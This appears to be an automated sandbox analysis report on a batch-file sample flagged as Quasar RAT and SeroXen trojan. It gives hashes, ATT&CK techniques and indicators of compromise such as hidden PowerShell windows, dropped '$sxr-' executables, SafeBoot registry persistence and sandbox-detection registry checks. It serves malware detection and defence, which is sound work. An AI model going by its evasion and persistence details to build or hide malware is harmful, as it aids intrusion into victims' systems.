quasar | 93ad65205b2752f3cdcccb5531f2a5196f551e27b3eeb1b656e734eab44b3250

Analysis

max time kernel
150s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
04-02-2025 20:42

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General

Target

Uni.bat
Size

14.9MB
MD5

225b558de510373ee6c88501d29dcabe
SHA1

719bf612b25cb1d524898affd5212d9cae30a3c7
SHA256

93ad65205b2752f3cdcccb5531f2a5196f551e27b3eeb1b656e734eab44b3250
SHA512

6fa3d6f259e9de8dae8536bbe7a47ab62b0642799c310eadc502b7b0dbd8ccfc9cb9dcf619b32aa97a93931a13d52d29a67829f51076da9d49741880050a2b48
SSDEEP

49152:KncqI9jt+YbH6/BYYrunkbDwbSBU0b1W2R+SFLNXtpEmRwbj4VzjI78/CKFTp7J3:8

Score

10^/10

quasar seroxen defense_evasion execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar
Quasar family
quasar

Quasar payload 1 IoCs

resource	yara_rule
behavioral2/memory/1648-76-0x000002007E3E0000-0x000002007EB84000-memory.dmp	family_quasar

Seroxen family
seroxen
Seroxen, Ser0xen
Seroxen or SeroXen aka Ser0Xen is a trojan fist disovered in late 2022.
trojan seroxen

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3024	powershell.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	wmiprvse.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	$sxr-mshta.exe

Deletes itself 1 IoCs

pid	Process
3024	powershell.exe

Executes dropped EXE 5 IoCs

pid	Process
1856	$sxr-mshta.exe
4728	$sxr-cmd.exe
1648	$sxr-powershell.exe
2896	$sxr-cmd.exe
4904	$sxr-powershell.exe

Impair Defenses: Safe Mode Boot 1 TTPs 64 IoCs

defense_evasion

Safe Mode Boot

T1562.009

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RetailDemo\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Wecsvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WiaRpc	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WMPNetworkSvc\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\xboxgip\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\AppIDSvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\fdc	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PrintWorkflowUserSvc_2a940\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\s3cap	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SpbCx	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UrsChipidea	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\VaultSvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\iaStorAV	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\LxpSvc\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TsUsbGD\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\USBXHCI\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\VirtualRender\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\hwpolicy\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PhoneSvc	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ksthunk\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\RdpVideoMiniport\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UdkUserSvc\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Acx01000\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Fs_Rec	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UfxChipidea\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\NdisVirtualBus	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\nsi\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UGTHRSVC	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\volsnap	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\autotimesvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\kdnic	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ProfSvc\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SCardSvr	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\pmem	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WdmCompanionFilter	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WINUSB	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\EntAppSvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\gupdatem	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\OneSyncSvc_2a940\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\terminpt\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\cdrom	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\KtmRm	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\EhStorClass	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\MsBridge	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\i8042prt	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\LSI_SAS2i	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\PortProxy	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\srvnet	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ssh-agent\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\SysmonDrv\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\.NET CLR Networking\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\.NET Memory Cache 4.0\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WpdUpFltr	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\TroubleshootingSvc\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WerSvc	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\WpnUserService_2a940	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\ws2ifsl\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\AppvStrm	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\BTHPORT\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\intelpep\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\lltdio\ = "Service"	powershell.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\percsas2i	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\Themes\ = "Service"	powershell.exe
Set value (str)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\UmPass\ = "Service"	powershell.exe

Hide Artifacts: Hidden Window 1 TTPs 3 IoCs

Windows that would typically be displayed when an application carries out an operation can be hidden.

defense_evasion

Hidden Window

T1564.003

pid	Process
4904	$sxr-powershell.exe
1648	$sxr-powershell.exe
2896	$sxr-cmd.exe

Drops file in System32 directory 11 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_363582827213C09529A76F35FB615187	OfficeClickToRun.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_0FB9553B978E7F00C6B2309507DEB64A	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_6372E0472AFF76BB926C97818BC773B9	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\E2C6CBAF0AF08CF203BA74BF0D0AB6D5_CBDCCBFE4F7A916411C1E69BDD97BB04	svchost.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml	OfficeClickToRun.exe

Drops file in Windows directory 6 IoCs

description	ioc	Process
File created	C:\Windows\$sxr-mshta.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-mshta.exe	powershell.exe
File created	C:\Windows\$sxr-cmd.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-cmd.exe	powershell.exe
File created	C:\Windows\$sxr-powershell.exe	powershell.exe
File opened for modification	C:\Windows\$sxr-powershell.exe	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 18 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg	wmiprvse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs	wmiprvse.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service	wmiprvse.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier	wmiprvse.exe

Modifies data under HKEY_USERS 15 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 10,1329 50,1329 15,1329 100,1329 6"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\RulesEndpoint = "https://nexusrules.officeapps.live.com/nexus/rules?Application=officeclicktorun.exe&Version=16.0.12527.20470&ClientId={292BA0D8-71DC-48A3-8D26-A83ACA9C9665}&OSEnvironment=10&MsoAppId=37&AudienceName=Production&AudienceGroup=Production&AppVersion=16.0.12527.20470&"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	svchost.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1738701866"	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe = "Tue, 04 Feb 2025 20:44:27 GMT"	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR	OfficeClickToRun.exe
Key deleted	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common	OfficeClickToRun.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry	OfficeClickToRun.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSTagIds0 = "5804129,7202269,17110992,41484365,39965824,7153487,17110988,508368333,17962391,17962392,3462423,3702920,3700754,3965062,4297094,7153421,18716193,7153435,7202265,20502174,6308191,18407617"	OfficeClickToRun.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{1f3427c8-5c10-4210-aa03-2ee45287d668}\Instance\	$sxr-mshta.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
3024	powershell.exe
3024	powershell.exe
3024	powershell.exe
3024	powershell.exe
3024	powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
4904	$sxr-powershell.exe
4904	$sxr-powershell.exe
4904	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
4904	$sxr-powershell.exe
4904	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe
1648	$sxr-powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	3024	powershell.exe
Token: SeDebugPrivilege	1648	$sxr-powershell.exe
Token: SeDebugPrivilege	1648	$sxr-powershell.exe
Token: SeDebugPrivilege	1648	$sxr-powershell.exe
Token: SeDebugPrivilege	4904	$sxr-powershell.exe
Token: SeShutdownPrivilege	3444	Explorer.EXE
Token: SeCreatePagefilePrivilege	3444	Explorer.EXE
Token: SeAssignPrimaryTokenPrivilege	1716	svchost.exe
Token: SeIncreaseQuotaPrivilege	1716	svchost.exe
Token: SeSecurityPrivilege	1716	svchost.exe
Token: SeTakeOwnershipPrivilege	1716	svchost.exe
Token: SeLoadDriverPrivilege	1716	svchost.exe
Token: SeSystemtimePrivilege	1716	svchost.exe
Token: SeBackupPrivilege	1716	svchost.exe
Token: SeRestorePrivilege	1716	svchost.exe
Token: SeShutdownPrivilege	1716	svchost.exe
Token: SeSystemEnvironmentPrivilege	1716	svchost.exe
Token: SeUndockPrivilege	1716	svchost.exe
Token: SeManageVolumePrivilege	1716	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1716	svchost.exe
Token: SeIncreaseQuotaPrivilege	1716	svchost.exe
Token: SeSecurityPrivilege	1716	svchost.exe
Token: SeTakeOwnershipPrivilege	1716	svchost.exe
Token: SeLoadDriverPrivilege	1716	svchost.exe
Token: SeSystemtimePrivilege	1716	svchost.exe
Token: SeBackupPrivilege	1716	svchost.exe
Token: SeRestorePrivilege	1716	svchost.exe
Token: SeShutdownPrivilege	1716	svchost.exe
Token: SeSystemEnvironmentPrivilege	1716	svchost.exe
Token: SeUndockPrivilege	1716	svchost.exe
Token: SeManageVolumePrivilege	1716	svchost.exe
Token: SeAuditPrivilege	2660	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1716	svchost.exe
Token: SeIncreaseQuotaPrivilege	1716	svchost.exe
Token: SeSecurityPrivilege	1716	svchost.exe
Token: SeTakeOwnershipPrivilege	1716	svchost.exe
Token: SeLoadDriverPrivilege	1716	svchost.exe
Token: SeSystemtimePrivilege	1716	svchost.exe
Token: SeBackupPrivilege	1716	svchost.exe
Token: SeRestorePrivilege	1716	svchost.exe
Token: SeShutdownPrivilege	1716	svchost.exe
Token: SeSystemEnvironmentPrivilege	1716	svchost.exe
Token: SeUndockPrivilege	1716	svchost.exe
Token: SeManageVolumePrivilege	1716	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1716	svchost.exe
Token: SeIncreaseQuotaPrivilege	1716	svchost.exe
Token: SeSecurityPrivilege	1716	svchost.exe
Token: SeTakeOwnershipPrivilege	1716	svchost.exe
Token: SeLoadDriverPrivilege	1716	svchost.exe
Token: SeSystemtimePrivilege	1716	svchost.exe
Token: SeBackupPrivilege	1716	svchost.exe
Token: SeRestorePrivilege	1716	svchost.exe
Token: SeShutdownPrivilege	1716	svchost.exe
Token: SeSystemEnvironmentPrivilege	1716	svchost.exe
Token: SeUndockPrivilege	1716	svchost.exe
Token: SeManageVolumePrivilege	1716	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	1716	svchost.exe
Token: SeIncreaseQuotaPrivilege	1716	svchost.exe
Token: SeSecurityPrivilege	1716	svchost.exe
Token: SeTakeOwnershipPrivilege	1716	svchost.exe
Token: SeLoadDriverPrivilege	1716	svchost.exe
Token: SeSystemtimePrivilege	1716	svchost.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1648	$sxr-powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 3688	4448	cmd.exe	83
PID 4448 wrote to memory of 3688	4448	cmd.exe	83
PID 4448 wrote to memory of 3024	4448	cmd.exe	84
PID 4448 wrote to memory of 3024	4448	cmd.exe	84
PID 1856 wrote to memory of 4728	1856	$sxr-mshta.exe	93
PID 1856 wrote to memory of 4728	1856	$sxr-mshta.exe	93
PID 4728 wrote to memory of 1672	4728	$sxr-cmd.exe	95
PID 4728 wrote to memory of 1672	4728	$sxr-cmd.exe	95
PID 4728 wrote to memory of 1648	4728	$sxr-cmd.exe	96
PID 4728 wrote to memory of 1648	4728	$sxr-cmd.exe	96
PID 1648 wrote to memory of 672	1648	$sxr-powershell.exe	7
PID 1648 wrote to memory of 960	1648	$sxr-powershell.exe	12
PID 1648 wrote to memory of 380	1648	$sxr-powershell.exe	13
PID 1648 wrote to memory of 740	1648	$sxr-powershell.exe	14
PID 1648 wrote to memory of 1004	1648	$sxr-powershell.exe	15
PID 1648 wrote to memory of 1088	1648	$sxr-powershell.exe	17
PID 1648 wrote to memory of 1104	1648	$sxr-powershell.exe	18
PID 1648 wrote to memory of 1168	1648	$sxr-powershell.exe	19
PID 1648 wrote to memory of 1184	1648	$sxr-powershell.exe	20
PID 1648 wrote to memory of 1300	1648	$sxr-powershell.exe	21
PID 1648 wrote to memory of 1316	1648	$sxr-powershell.exe	22
PID 1648 wrote to memory of 1388	1648	$sxr-powershell.exe	23
PID 1648 wrote to memory of 1456	1648	$sxr-powershell.exe	24
PID 1648 wrote to memory of 1500	1648	$sxr-powershell.exe	25
PID 1648 wrote to memory of 1512	1648	$sxr-powershell.exe	26
PID 1648 wrote to memory of 1520	1648	$sxr-powershell.exe	27
PID 1648 wrote to memory of 1636	1648	$sxr-powershell.exe	28
PID 1648 wrote to memory of 1680	1648	$sxr-powershell.exe	29
PID 1648 wrote to memory of 1720	1648	$sxr-powershell.exe	30
PID 1648 wrote to memory of 1792	1648	$sxr-powershell.exe	31
PID 1648 wrote to memory of 1812	1648	$sxr-powershell.exe	32
PID 1648 wrote to memory of 1920	1648	$sxr-powershell.exe	33
PID 1648 wrote to memory of 1976	1648	$sxr-powershell.exe	34
PID 1648 wrote to memory of 1984	1648	$sxr-powershell.exe	35
PID 1648 wrote to memory of 1132	1648	$sxr-powershell.exe	36
PID 1648 wrote to memory of 1716	1648	$sxr-powershell.exe	37
PID 1648 wrote to memory of 2108	1648	$sxr-powershell.exe	38
PID 1648 wrote to memory of 2212	1648	$sxr-powershell.exe	40
PID 1648 wrote to memory of 2328	1648	$sxr-powershell.exe	41
PID 1648 wrote to memory of 2416	1648	$sxr-powershell.exe	42
PID 1648 wrote to memory of 2424	1648	$sxr-powershell.exe	43
PID 1648 wrote to memory of 2616	1648	$sxr-powershell.exe	44
PID 1648 wrote to memory of 2660	1648	$sxr-powershell.exe	45
